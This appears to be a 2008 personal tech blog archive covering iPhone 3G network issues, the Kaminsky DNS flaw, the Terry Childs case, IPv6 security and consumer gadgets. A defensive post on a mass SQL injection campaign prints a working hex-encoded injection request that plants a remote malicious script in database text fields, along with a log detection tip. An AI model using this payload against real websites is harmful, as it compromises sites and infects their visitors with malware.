Where population density was lower, even in cases when fewer bars are displayed on the signal strength icon, voice and data connections were reliable and solid without exception. In contrast, in high-population areas even full-signal connectivity was spotty and unreliable.

I'm running the latest iPhone software, v2.0.2, which both Apple and AT&T have encouraged people to upgrade to. AT&T even sent a text message to all users asking them to upgrade - a first-time action on the part of the carrier.

Some new information, part of which you'll find quoted below, helps explain why I experienced substantially poorer performance in the cities and heavily-populated areas but not in the rural sections of my drive. According to reports, it appears AT&T's 3G radio systems are power-constrained, and are not able to maintain all the connections. The incredible number of iPhone 3G devices on the network - especially in metropolitan and urban areas - is most certainly placing a heavy load on the radios. In addition, iPhone 3G devices that have not been updated to the v2.0.2 software are placing an even heavier burden on the radios from a power-consumption standpoint.

So, there's a power-management problem, as well as a capacity problem. When the network "noise" in the radio spectrum used gets to be higher, the towers have to increase power to try to overcome the noise. You can see how that doesn't work. Eventually the noise keeps climbing and the power consumption at the tower (and presumably on the iPhone as well) goes through the roof.

More towers would increase capacity, reduce power requirements and resulting noise, and generally improve coverage. But that's not something that can be changed overnight.

All of this helps explain why my ability to make calls, connect to the 3G data network and download at high speeds was much better where the network is only lightly used.

The Daily Tech site has a detailed report (and some intelligent reader comments) that describes the cell-site power issues, the problems related to the older iPhone 3G software, and other items. Go to the Daily Tech site to get all the details. Here is a portion of the information, including some text quoted from Roughly Drafted Magazine, whose author was able to get some new details from a source inside AT&T's wireless business describing the power issues and what the iPhone's v2.0.2 software update changes:

Basically the update "fixed power control on the mobile" according to the source. To understand what they're going to say next, you must first know a bit about AT&T's jargon for UMTS -- the technology it uses to deliver its 3G network. In the technology, phones are referred to as user equipment, "UE" for short. The base transceiver station towers are known as "Node B".

With this jargon in mind, the AT&T source explains:

"In UMTS power control is key to the mobile and network success. If the UE requires too much downlink power then the base station or Node B can run out of transmitter power and this is what was happening. As you get more UEs on the cell, the noise floor rises and the cell has to compensate by ramping up its power to the UEs. If the UE power control algorithm is faulty then they will demand more power from the cell than is necessary and with multiple users this can cause the cell transmitter to run out of power. The net result is that some UEs will drop their call. I have seen the dropped call graphs that correspond to the iPhone launch and when the 2.0.2 firmware was released. The increase in dropped calls, (were the result of) dropped calls due to a lack of downlink power."

In essence, the iPhone is asking for a stronger signal than it needs. In areas with lots of users, some or all of whose phones are doing this, calls start to get dropped and signal quality drops. This all follows with the conclusions the media had reached -- the problems were somehow correlated to user distribution and seemed puzzlingly to be both with AT&T's network, and with the hardware.

The source continues:

"The power control issue will also have an effect on the data throughput, because the higher the data rate the more power the Node B transmitter requires to transmit. If the UEs have poor power control and are taking more power than is necessary then it will sap the network’s ability to deliver high speed data. This is one of the reasons why AT&T has been sending text messages to users to persuade them to upgrade to the 2.0.2 software. In a mixed environment where users are running 2.0, 2.0.1, and 2.0.2, the power control problems of 2.0 and 2.0.1 will affect the 2.0.2 users. It is not the network that is fault but the interaction of the bad power control algorithm in 2.0 and 2.0.1 software and the network that is at fault. The sooner everybody is running 2.0.2 software the better things will be. Having seen the graphs the 2.0.2 software has already started to make difference."

Since transmitting lots of data takes lots of transmission power, and transmission power was unnecessarily being raised above that necessary for the use levels on phones, the network in areas of heavy use was unable to handle high speed data.

My first-generation Nikon D70, which I bought the day it was released to the market a few years back, died on me a few months ago. Without a card in it, it won't start, and when you insert a CF card in the slot, the green data-access indicator flashes on and off. If I hold down the Menu button, the menu flashes on and off along with the green LED.

As it turns out, this is a known problem with the original Nikon D70 cameras, and Nikon USA has a service bulletin out on the camera body. They'll repair it free of charge.

So, if you have the same problem, visit this service bulletin page, click on the D70, and you can access a PDF file that you'll need to print, fill out and send to Nikon along with your camera body. Be sure to take your camera strap off and remove the battery, and don't send any lenses or other accessories.

Mine's on it's way to Nikon now - they say the turnaround is five days (plus shipping time).

Dear #####,

First, thank you for managing your group on LinkedIn. We sincerely appreciate the time and effort you devote to your members, and we know they value it. Together you have made Groups one of the top features on LinkedIn.

This Friday, we will be adding several much-requested features to your group:

• Discussion forums: Simple discussion spaces for you and your members. (You can turn discussions off in your management control panel if you like.)
• Enhanced roster: Searchable list of group members.
• Digest emails: Daily or weekly digests of new discussion topics which your members may choose to receive. (We will be turning digests on for all current group members soon, and prompting them to set to their own preference.)
• Group home page: A private space for your members on LinkedIn.

We're confident that these new features will spur communication, promote collaboration, and make your group more valuable to you and your members. We hope you can come by LinkedIn on Friday morning to check out the new functionality and get a group discussion going by posting a welcome message.

Sincerely,
The LinkedIn Groups Team

• GP's antenna test found that the iPhone 3G's antenna performs as well as any of the other 3G phones tested.
• The Wired real-world network test found that the networks are often woefully underperforming, and that while speeds are typically faster than EDGE, the ability to connect to a 3G tower might be problematic at best.

I like to listen to my Pandora "stations" in the background while working on my laptop. I get frustrated when I accidentally close the web browser (often its in a hidden tab) or, even worse, click on a link soewhere and Safari, in all it's awesomeness and wisdomness, re-uses the window and kills the audio feed.

In hopes of finding a better way, I started searching for a Pandora widget for the Mac Dashboard (the layover-page that you can put any of a number of downloadable mini-apps on). Unfortunately, I didn't find anything. (Update - turns out there is a widget out there, but it's a memory hog and apparently has a few issues). So, rather than looking for someone else to do the work for me, I started to actually think about a solution I could build on my own.

After about 10 minutes, I remembered the nifty capability in Safari to define a "snipped" portion of a web page and make it a Widget on the OSX Dashboard. You use the little scissors icon in Safari to accomplish this. I started thinking about the Dashboard and how it works, and wondered if there was any way to have Pandora play in the background using a system (the Dashboard, that is) that appears to reload each app every time I launch it.

What the heck, worth a shot, right? Well, I found I could create a web-clip of Pandora's music player that would play my music. No big surprise there. Click on the image to see the widget full-size.

But when I exited the dashboard to go do some actual work, the music would quit.

Bummer.

I got curious though. Maybe someone had thought about the fact that web pages constantly change and play music and whatever else. I did the obvious: I clicked on the little (i) button in the lower right corner of the widget and it took me to the page where I can choose to make the widget look like it's torn from a piece of paper, or whatever. And, lo and behold, right there in the lower left, is a box that makes it appear you can uncheck it and make the audio play in the background, even when dashboard is not active. I've highlighted that box below.

Would it work? I unchecked the box, exited Dashboard, and the music kept on playing in the background. Problem solved! It turns out the default setting is to play web page audio only when Dashboard is active, so you have to toggle the setting to get what you want.

Any other ways to do this? My method works great, but I wonder if someone else came up with a different solution?

Boy Genius says iPhone software v2.0.2 is on it's way out the door this afternoon. In fact, I just checked in iTunes, and there it is.

All 248.7MB of it. The description in the iTunes UI says it contains bug fixes, and that's it. Here's hoping the performance and stability issues - especially related to 3G network performance and switching - are what they fixed in this release. I almost returned my phone the other day out of sheer frustration, and that's saying a lot, really.

Update: After a couple hours of on/off use, apps are notably more stable/snappier (at first I wondered if it was just my imagination, or a fresh restart effect - time will tell), and network performance is better. Where a 3G network with poor or broken signal would be selected before, now a strong EDGE network is selected by the phone. Apps don't seem to hang in places where they reliably (or maybe the better term would be "predictably") hung before the update. For example, the volume controls in almost every app used to not respond for periods of time. Now they work every time. Much less frustrating. There are no real changes in terms of ourward appearance and functionality.

A bunch of IT and web-app teams have lost a lot of sleep lately...

Over the past several days, a significant number (in the thousands) of web applications, some of them well-known and well-used, have fallen victim to a distributed SQL injection attack that takes advantage of weak or non-existent input validation to inject malicious HTML code that then performs a drive-by malware attack on unsuspecting visitors. Since visitors to your site trust it, if your site has been hacked they are more likely to allow the malware to install on their computer (especially if, for example, the malware is delivered in the form of a browser helper object or something along those lines).

The malware in question appears to steal WoW account information and insert a back-door (trojan) program on PCs it infects (among other things).

Web sites that do not properly validate all input - and by proper I mean trust nothing by default and only allow input that specifically matches what is appropriate - and which run on a Microsoft SQL server back-end (and possibly other database servers that use the same basic table structure) are at risk. I've observed web sites running on both Apache and IIS that have been hacked, the only common thread is SQL server (despite reports to the contrary).

About data validation...

I've personally spoken with people from a few companies who have had to contend with the fact that their sites were attacked in this manner over the past several days. In each case, they were utilizing a so-called "black-list" (or "deny-list" to be a little more appropriate) of bad input in their application logic. The problem with black-listing is the cases where you don't realize something should be on the list, or when new threats emerge. Instead, a white-list (or "allow-list") methodology requires you to specify what input is allowed. Your application won't change much over time. The threats will. Deny all by default, it's the only safe way to go.

UPDATE: Neil Carpenter mentions in the comments here that he recently posted an excellent blog entry about using parametrized queries in SQL server, and he makes some great points. While input validation is a useful and often appropriate layer of security (not all apps are database-driven), solving this specific type of problem using his method is an important idea to look at and leverage. A layered conbination of both input validation (where it's practical and workable) and paramaterized queries is a good approach, in my opinion.

The attack

Secure Computing's TrustedSource (good site, read it) has some detail about the attack...

You'll see this in your web server logs (assuming you are logging, and you sure as heck better be - more on that later):

GET /?';DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1

Which is a hex-encoded injection that, when translated, creates this SQL statement string (bad-guy address has been removed):

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>

To search your web server logs for any offending lines, look for "DECLARE" anywhere in the query string. That's a dead give-away. You'll find attacks from various unsurprising countries including North Korea and China (or at least what's where I have seen them coming from).

How to solve?

First of all, if code like this can get through the web application and into the database, I'd recommend a complete review of the web app from a security standpoint. Basic best-practices for web applications assume that you will trust absolutely no input by default, and then examine all input to see if it is in a format and of a type that is appropriate. And it's very important to recognize that by "input" we mean any type of input vector - whether it be form fields, query string, URI, session data, etc. Input validation should be done on the server side, not just the client side (turning off javascript and manipulating data en-route to the server is pretty easy, after all).

If you need a tactical approach to block this particular threat right now while you plan validation improvements, I'd recommend what many people are doing: Monitor all the input with your web server, and re-write the offending statements to something innocuous. That's a band-aid, but it can help in the short-term with this one particular need. In addition, you could use application-layer firewalls in from of your web server/farm to do the same thing. But neither of these approaches would be considered acceptable as a complete or permanent solution. You can certainly keep them in place after an app fix, as part of a layered security approach. But ultimately the site needs to be coded properly and not allow the bad input.

HP recently released a tool that you can use to check for SQL injection vulnerabilities specifically called Scrawlr. You can find it, and related information, here.

Scrawlr, developed by the HP Web Security Research Group in coordination with the MSRC, is short for SQL Injector and Crawler. Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities. Scrawlr is lightning fast and uses our intelligent engine technology to dynamically craft SQL Injection attacks on the fly. It can even provide proof positive results by displaying the type of backend database in use and a list of available table names. There is no denying you have SQL Injection when I can show you table names!

If you are dealing with this attack or have related thoughts, please feel free to post in the comments with your experiences.

I'm a rural-living person who often consults people on how to get broadband Internet connectivity to their middle-of-nowhere homes. There's some good news for most of those people. HughesNet, the big guy in the satellite Internet service space operated by Hughes Network systems (no relation), has announced that later this month they will begin offering what they're calling the ElitePremium plan, with download speeds available as fast as 5 megabits per second (mbps). That's up there speed-wise with what many cable companies provide, and is easily a competitor to DSL speed capabilities. It'll be available to order on August 21st.

Satellite Internet has some inherent latency between the time a request is sent and the resulting data is fed to you, since the distance the signal travels, even at the speed of light, is pretty darned far. Many VPN systems have a difficult time on Satellite, also due to the time-shift latency. But the "start" delay is not huge, and once the "faucet is open," 5 mbps is pretty darned fast.

That's about five times the download speed I get on my Internet connection, which is an excellent terrestrial wireless offering from a local provider (which is Cascade Networks, if you happen to live in the Longview, Washington or Columbia County, Oregon areas). An antenna on my roof points at a tower on a mountain about 11 miles away, and that's the option I use.

So, more options and much faster speeds for us non-city-dwellers. Not a bad deal!

Every now and then you'll discover a couple or few smaller apps that work well together, or alongside each other. The type of situation where you get the 2+2=5 effect. Individually both apps are great, but when used together they becomes something even more. "Two great tastes that taste great together," to borrow an old marketing phrase.

That's been the case for me with two iPhone apps - Shazam (iTunes store page) and Pandora (iTunes store page). Today I use them alongside each other. It's my hope that someday they will be able to communicate with each other and share information.

I've written about Pandora here before. It's a web app that happens to have an iPhone client as well, where you can start with music you like and it helps you find more music that fits your taste and style. You create channels, or stations, and the Pandora service selects similar music for your to hear, and you can fine tune as you go.

Shazam is another of those magical "wow" apps for the iPhone. I use it in the car when I hear a song I like. Rarely do I know the name of the song, or even the artist. But as it plays, I just tell Shazam to listen to a 12-second portion of the song (a process called "tagging"). It uploads the resulting data to the centralized service, and back comes all the information about the song - Artist, title, album, everything. It's really amazing, and in my experience 100% accurate. From there you can also find YouTube videos and launch into the iTunes store to buy the music you've tagged.

I'll often take the name of an artist I discover from Shazam and plug the info into Pandora and start listening there. It's a great way to quickly and relatively effortlessly drill down into new music I have never heard before, but it's music that I really like.

Now imagine if you could use Shazam to identify a song and then inside Shazam choose an option to create a channel based on that artist in Pandora. That would be awesome, truly awesome. I have no idea how "possible" it is, but I can hope. :)

On a similar note - meaning various apps that work great together - ReadWriteWeb published an article this past week with a list of apps that complement each other well (including my Shazam/Pandora combination).

My title for this post sort of spins the title of the article I want to point you to, aiming for the positive side of the coin. The article, which is entitled "The Top 5 Reasons Tech Execs Fail," provides a set of bullet-pointed thoughts that can be read as a list of what tech execs need to do in order to succeed. I happen to agree with the authors' assessment.

Here's the short version of Marty Abbott and Michael Fisher's five points, slightly altered to read as a list of positive attributes of a successful tech leader:

5. Ability to Build World Class Team
4. Ability to Execute
3. Ability to Lead/Motivate/Inspire
2. Ability to Manage Operationally
1. Displays and Uses Financial Acumen

The authors point out in their article, "... when technology executives fail, it is not because they lack an individual skill. It is because they lack an an adequate balance of the many technical, operational and leadership skills necessary to make them a complete manager."

I especially appreciated the Mojave Experiment that Microsoft recently shared with the world (where Vista-negative opinions were tested with a "new" version of Windows, code-named Mojave; it was then revealed to the participants after seeing the new version that what they were looking at was actually Vista). I've been using Vista since well before I came onto the market, and I can hardly stand to use WIndows XP computers anymore. Anyhow, check out http://www.mojaveexperiment.com if you haven't seen it, especially if you have a negative opinion of Vista today based on what you've heard from others. (Note: Scientifically speaking, the "experiment" would be badly flawed, but it's a marketing campaign and in that light it's pretty darned smart if you ask me. Plus, I've lost track of how may people who, never having seen Vista yet having a negative perception, decided to upgrade after trying for a couple hours (on my laptop) at my suggestion. With SP1 installed, for the record. Seriously, group think and manipulation goes both directions).

For those of us who are using Vista (or any other OS for that matter), it's nice to be able to fine-tune a computer system so it will perform the way we want it to. For Vista, Microsoft has released a document called Windows Vista Performance and Tuning as part of their Springboard series, which lets users know about a number of tweaks and decisions they can make to make the OS work well for their needs. It also effectively spells out in fairly plain language some relatively complex information.

Windows Vista and SP1 focus on delivering greater performance and overall system responsiveness. By striking a balance between speed and responsiveness, Windows Vista and SP1 deliver a level of performance that has the greatest positive impact on the system’s usability.This guide looks at the following areas of performance improvement:

• Making configuration changes that help a computer feel more responsive when you use it.
• Using hardware to boost the actual physical speed of a computer.
• Making configuration changes that help a computer to start faster.
• Making the computer more reliable may help increase performance.
• Monitoring performance occasionally so that you can stop problems before they get too big.

There are a variety of other guides out there as well, but this one hits a number of important nails on the head that the average computer user can easily understand and use.

Last week we published an interview that Richard and I did on RunAs Radio with my friend and former co-worker, Simon Goldstein. Simon's a real pro and is good at explaining complicated business relationships and processes.

We cover risk management for IT professionals: What is it, what do you need to know, and why does it matter? As with all of our weekly RunAs Radio shows, it's about 30 minutes long and we cover a lot of ground in that time.

RunAs Radio, Show 67 - Simon Goldstein on IT Risk Management (38 minutes)

Note: You can find all our podcast feeds in the table here, and you can also subscribe to get the show every week in iTunes by clicking here.

The DNS vulnerability discovered earlier this year by Dan Kaminsky, and recently patched by DNS software providers in an unprecedented cross-vendor cooperation, has graduated from vulnerability to exploit-in-the-wild.

According to Kaminsky, 52% of the DNS servers on the Internet are still vulnerable, better than the number of exploitable systems just a few weeks ago when the patches were released by all the vendors.

Kaminsky has written up a plain-language helper guide to explain the problem to non-technical (read: management and decision-making) people. There's also a Black Hat webcast with Kaminsky available where he details the vulnerability and discusses the fixes.

Read more at Ars Technica.

On the Google blog, Jesse Alpert & Nissan Hajaj posted an article today called "We knew the web was big..." which indicates Google engineers recently noted that the number of web pages on the Internet passed the one-trillion mark. That's 1,000,000,000,000 pages. For those who don't process the impact of adding that many groups of zeros at a time, think about this:

• Take 1,000 pages.
• Multiply that 1,000 times and think about just how big that is.
• Multiply that amount another thousand times, and stop to think about how big that is.
• Now, again take that huge amount and multiply it by 1,000. Now you're at a trillion pages.

That's freakin' huge, really. If you started counting from one to a trillion and counted one number per second, it would take you almost 317 centuries before you were done (and by the way I asked google to help me figure that out). That's almost 32,000 years. It almost completely boggles the mind. That's a lot of web pages.

Google also notes that every day, the number of pages on the web increases by several billion.

Alpert and Hajaj have another explanation to try to explain the sheer size of the Internet today:

Today, Google downloads the web continuously, collecting updated page information and re-processing the entire web-link graph several times per day. This graph of one trillion URLs is similar to a map made up of one trillion intersections. So multiple times every day, we do the computational equivalent of fully exploring every intersection of every road in the United States. Except it'd be a map about 50,000 times as big as the U.S., with 50,000 times as many roads and intersections.

That's really just amazing to me. Wow. And now you know why we call this the Information Age. A lot of that information may be inaccurate, pornographic or otherwise useless, but some of it's good, and the sheer immensity of it is truly awesome.

TechCrunch has a slightly different take, calling the Google post misleading. The end of the TechCrunch post alludes to some news coming next week that might turn Internet indexing on it's head. Interesting - Is there some big search engine news in the works? Is it Microsoft's BrowseRank or something else? Stay tuned.

Over at OSCON just a short time ago, the Open Web Foundation was just announced. Eran Hammer-Lahav just blogged about it at the OWF site. This is great news, and should go a long way to enabling better community development of standards and specs in a non-proprietary fashion.

This morning at OSCON, David Recordon announced the creation of the Open Web Foundation. The Open Web Foundation is an attempt to create a home for community-driven specifications. Following the open source model similar to the Apache Software Foundation, the foundation is aimed at building a lightweight framework to help communities deal with the legal requirements necessary to create successful and widely adopted specification.

The presentation slides are also available in Eran's post.

What would Steve click?

It's not often you find advertising that doesn't just bother you. I try to keep the ads on this site relevant, minimalist and out of the way. But on a limited-size device like the iPhone, not to mention it's a device that has that "cool usability" vibe, the need for ultra-careful advertising design is critical. Acceptance is important.

Enter AdMob. They've created advertising blocks for the iPhone that are - well - pretty darn cool. Hopefully the advertisements that show up in them in practice will be relevant and cool, too. Check out the video.

First, a big congrats to the guys at jkOnTheRun for their acquisition by GigaOm and their continued full-time blogging careers. Great people, and a great deal.

Kevin at jkOnTheRun posted a preview article the other day that I somehow missed until now, describing the Microsoft Live Mesh client for the Mac. It's not available yet, but Kevin was able to try it out. Previously he'd reviewed the mobile client for Live Mesh.

I've been using Live Mesh for a few months now in a limited fashion because only one of my computers at home will work (meaning only one runs a Windows desktop OS). My other machines are a Home Server and Mac, and my mobile decide is an iPhone. But I like what I have seen in the Mesh system, including the UI. So, I am looking forward to the release of a Mac client.

Check out Kevin's preview of the pre-release Mac app here.

In the case of Terry Childs, a network admin who gained notoriety recently for locking the City of San Francisco and his managers out of their own critical network, comic-book style progress has been made, with Childs' attorney inviting the mayor of SF to a secret meeting at the jail, where Childs handed over the passwords he'd previously refused to disclose.

Childs' lawyer, again in typical comic book fashion, has also come out saying that Childs' actions were essentially noble and that he was acting to protect the network he built from his management and peers, whom he characterized as being neglectful and without the proper knowledge to support the network. About what you'd expect from a defense lawyer in a public case, I suppose.

But Childs is in no way a hero. Even if what he says is completely true, he's (allegedly) committed a real crime. He does not own that network even if he helped build it, and regardless of whether the management in his department was capable of exercising its responsibilities, when Childs locked everyone out he crossed a clear line. If it was to make a point, he simply went overboard. The whole unfortunate case just smacks of ego and manic behavior.

But from arm's length the city doesn't exactly look like a helpless victim, either. Any professional management team that creates an environment where one person can control a critical and sensitive network in the manner exercised in this case has missed some of the most crucial and common-sense aspects of IT and security design. In fact, most of the time when cases of one-man-too-much-power crop up, we find that the IT staff is also responsible for security with little or no separation of duties, no checks and balances, and no controls to ensure one bad apple doesn't ruin the whole barrel.

Was Childs right? Absolutely not. Was the City wrong? I don't see how you can argue otherwise.

You'd likely be surprised how many real-world computer networks - big and small, important and less so - are run on the concept of "we just trust that one guy." It's what we call a "Beer Truck" risk problem: If I'm that guy you trust, what if I get hit by a beer truck and killed, or alternatively what if I drink everything on that beer truck and go nuts and wipe out the network? What then?

Systems should be set up to ensure no one person holds all the keys. Over the past few days I've read comments made about this story, in many cases by angry IT-types who say if you hire someone you have to give them access to everything and you have to trust them to do the right thing. Otherwise they cannot do their job, you're a terrible person and your network and systems are doomed. That premise is simply and blatantly false, and in fact following that method puts you in the same boat the City of San Francisco has just found itself in. Please, don't listen to the old-skool IT admin crowd, telling you to hand it all over to them because you obviously don't know what you're doing. Fire those guys and find some real help.

If you want a healthier view of the situation, check out articles written by smart, thoughtful people, like this one by Paul Doyle. Also, Paul Venezia wrote an in-depth article about what went wrong, with some detailed inside information.

To be clear, no one person should control all the systems. Control and authority are not the same thing. Checks and balances are important. The Air Force doesn't allow one person to perform all the steps needed to launch a ballistic missile, right? Apply the same principles to your IT systems.

Case in point: I was the chief security executive at a major online financial services company. I had administrative access to nothing. I couldn't even get in the data center without an escort and records being kept. I had no account access to critical or sensitive systems. And no one person there could make changes in a vacuum. IT workers didn't have access to security systems. Security workers didn't have administrative access to anything by default. And we operated effectively, smoothly, with full knowledge of what was happening on the network and systems. No one person had control. Authority, sure. But actual control of systems? No. To operate otherwise would have been negligent.

I often preach the value of formalizing security management and putting proper process, technology and organization in place to ensure a good, stable system that can effectively support business. One of the pillars of an effective security management system is hiring good people (probably not ones who have been convicted of aggravated robbery in the past, sorry) and separating duties in a way that protects everyone involved - employees included. Doing so is not punishment, it's just good common sense.

If nothing else, lets hope businesses and governments all over learn from this embarrassing public spectacle. There are standards out there (my background and experience is in ISO 27001, an international security management standard), the very purpose of which is to make sure things like this don't happen. It's high time to start using them.

DNS has a hole in it. Bad guys are working on exploits right now. Patches are available right now. Anyone responsible for a DNS server needs to exercise that responsibility. Right Now.

Dan Kaminsky found a security hole in DNS recently, the details of which he was keeping quiet so providers could fix and release patches and DNS server owners could get those patches deployed, in order to avoid security breaches on the Internet. His intent was to release the gory details in a couple weeks at the Black Hat conference.

But the other day word of the details inadvertently leaked out, and so now everyone responsible for a DNS system must - and I do mean must - drop what they're doing and make sure their systems are patched and safe. Failure to do so puts Internet users at risk of site fraud and hijacking.

DNS is a system that translates names you can remember (like www.greghughes.net) to especially non-memorable numerical addresses the Internet can route (such as 208.109.238.146). It's the Internet's phone book, so to speak.

The security hole allows malicious people to spoof a web site using the actual, legitimate domain name. In other words, bad guys could hijack a DNS server, and if it happens to be one your computer relys upon, you could type in a legitimate address like www.google.com or www.yourbank.com, but the web page would be a malicious one - a fake. The recently-released patches plug the hole and prevent this misuse (although it doesn't really change the underlying protocol).

Aaron Massey wrote a very good post describing the issue and it's various details. He also links to Halvar Flake, a talented reverse-engineering guy who thought the threat through and pretty much guessed it right on his blog. After Halvar's guess, another security blog that had specific knowledge of the threat details confirmed Flake's hypothesis. As a result, the threat was disclosed.

Luckily, the various creators of the DNS systems used all over the Internet released patches about two weeks ago. The real question is, have you patched your servers? This is a critical flaw - it needs to be patched immediately.

If you want to know whether the DNS server your computer relies upon is vulnerable or not, you can use the DNS Checker in the sidebar of Kaminsky's blog (as long as it remains there).

A couple weeks ago I mentioned the release of Identi.ca, a social networking/microblogging site built on an open platform and allowing federation. Today, a beta release of Twhirl, one of the more popular clients used on the Twitter microblogging service as well as a couple others, adds support for Identi.ca and includes "push" support. Many of us who have come to like Indenti.ca are very happy.

That means Twhirl doesn't have to pole (read: overwhelm) the Identi.ca servers to see if you have any new items to read. Instead the servers just let you client know there's new content and pass it along. It works using the jabber/instant messaging interface (identi.ca sends it's push messages to your jabber account, and you tell Twhirl how to log into your IM account).

This is pretty darned smart (and takes a couple steps to set up). It's something that Twitter could probably use on their service to potentially reduce load (although I cannot say for sure that a push service would actually reduce the issues related to overloading of their servers).

Read more about it at CNET or grab the latest beta of Twhirl with Identi.ca support from this link.

Chances are, if you're reading this around the time I am writing it, that your computer is not exposed to an IPv6 network. You're most likely on an IPv4 (classic) network. You can easily tell by trying the quick IPv6 test on this page.

Even if you're not on the new network stack yet, change is happening, and systems have to be adapted to make sure not only that the new network works (most - but not all - modern hardware and software "understands" IPv6), but also that when you do actually start to operate in an IPv6 world, that you are properly secured.

In an effective security world, you need to put protections in place soon enough, meaning before the threat appears. You have to protect proactively, without waiting for bad guys to exploit a network or system. In the case of the IPv4 to IPv6 transition, that means making sure things like intrusion prevention and detection systems, firewalls, and other software and devices that function in the network layer even know how to "talk" the IPv6 language.

A number of current security applications just don't know how, so now is the time for a call to action: IPv6-enable your technology right now, to prevent opportune threats in the future. Don't get caught with your pants down.

Kim Zetter wrote a good article on the subject the other day at WIred. "The Ghost in Your Machine: IPv6 Gateway to Hackers" outlines quite well the potential threat imposed by a lack of readiness from a security perspective. It's not all bleak and terrible news, but as the article makes clear, now is the time to fix the problem, before something bad happens.

Probably the most difficult aspect of understanding the potential issues introduced by an environment not ready for IPv6 is the lack of awareness among IT folk in general as to how IPv6 works, how it's used, and the services (quite good ones, I might add - take a look at how IPsec is baked right in, for example) integral to the protocol.

What's it take to get from here to there? Being prepared with real, solid and accurate information is probably the most important step. Not many of us are naturally wired to take action before something bad happens. As an IT guy, I can tell you this: In the real world, most IT people don't learn what they need to know until after they need to know it. A lazy learning methodology just won't work in this case.

For IT professionals, do not assume that just because you were able to pick up your IPv4 knowledge over a long weekend of studying and tinkering that you'll be able to do the same with IPv6 - That's just not the case. IPv6 is more complex and has a lot more parts to understand. If you haven't learned it by now, for shame. Some of you have a little time left. Get on the ball, and gain the deep understanding you need to do your job properly.

For application and hardware vendors that haven't yet dealt with the IPv6 change, you're running late. While many vendors of firewall software, switched, home routers, etc. have made the proper changes, there are also many that have not. Even worse, there are a variety of IPv4-to-IPv6 workarounds that can relatively easily be put in place by unknowing people (read: the IT guys mentioned above) that circumvent firewalls and other protections that are relied upon for good security. Bad design, convenient at the time, disaster waiting to happen. Prevent this.

If you're an individual computer user or owner, what is the status of your software vendors with regard to dealing with IPv6 network traffic? Are you running the latest firewall software, current router firmware? Do the latest versions protect you in an IPv6 world?

IPv6 is a great move, and in time it will dramatically change for the better how computers and devices interact. That is, if we don't manage to screw it all up in the process.

Now is the time. IPv6 is here, Go forth. Learn, analyze and secure.

Several years ago I remember when my boss at the time, Chris Brooks, and others at work set up and ran Terrarium, a .NET v1.0 app that allowed peer-to-peer networking of machines running code with "bugs" (not the defect kind) in a virtual environment. It was a sort of a survival-of-the-fittest-bug kind of game, and they used it at work to build some fun learning into the process.

Fast-forward a few years, and the team at Microsoft that originally built the Terrarium app has scattered to the wind. But Bill Simser, a solutions architect, avid .NET guy and Microsoft MVP for SharePoint, took the initiative to find the code inside Microsoft, update it to .NET v2.0, and released it on CodePlex for the community to use and help maintain.

It's now a client-server application and has a worldwide-participation capability (as well as single-machine and closed local peering capabilities). Pretty cool stuff.

If you're an individual, team or group that wants to get some practice or learn more about programming in .NET and you want to have some fun in the process, check out Terrarium v2.

Resources:

• Bill Simser's blog post about Terrarium v2
• Terrarium v2 on CodePlex

There's some great news out of the Microsoft Xbox crew at the E3 conference - NetFlix integration with your XBox 360:

Microsoft revealed that beginning later this year, Netflix subscribers would gain access to the entire Netflix digital library through their online XBox 360's.  Gold membership is required to take advantage of this partnership, but the newfound capacity represents a large step forward in increasing the XBox 360's appeal as a living room media box.  The present Netflix digital library includes roughly 10,000 titles, and on the 360 will feature the ability for watching videos concurrently with friends over the Internet through the new community party system.

Xbox 360 will be the only game system that lets users instantly watch movies and TV episodes streamed from Netflix. Xbox LIVE Gold members who are also Netflix subscribers will be able to streaming movies and television show episodes from Netflix at no additional cost. I'm really looking forward to that. All we need now is a Blu-Ray drive for the 360 console...

Also announced was a revamped user experience and interface (implemented completely through software updates, and allowing more personalization and social interactivity), new HD programming partners and content (including Battlestar Galactica, which I am looking forward to), a price cut on the "Pro" model of the Xbox 360 and a new model slated for August, a future feature which will allow you to copy your game disk to the Xbox hard drive for faster loading and smoother play (you still need to have the original disc though), and a bunch of new games.

On TechCrunch IT, in a post called "The New Apple Walled Garden," author Nik Cubrilovic makes a good point...

TechCrunchIT » The New Apple Walled Garden

Geeks and enthusiasts wearing Wordpress t-shirts, using laptops covered in Data Portability, Microformats and RSS stickers lined up enthusiastically on Friday to purchase a device that is completely proprietary, controlled and wrapped in DRM. The irony was lost on some as they ran home, docked their new devices into a proprietary media player and downloaded closed source applications wrapped in DRM.

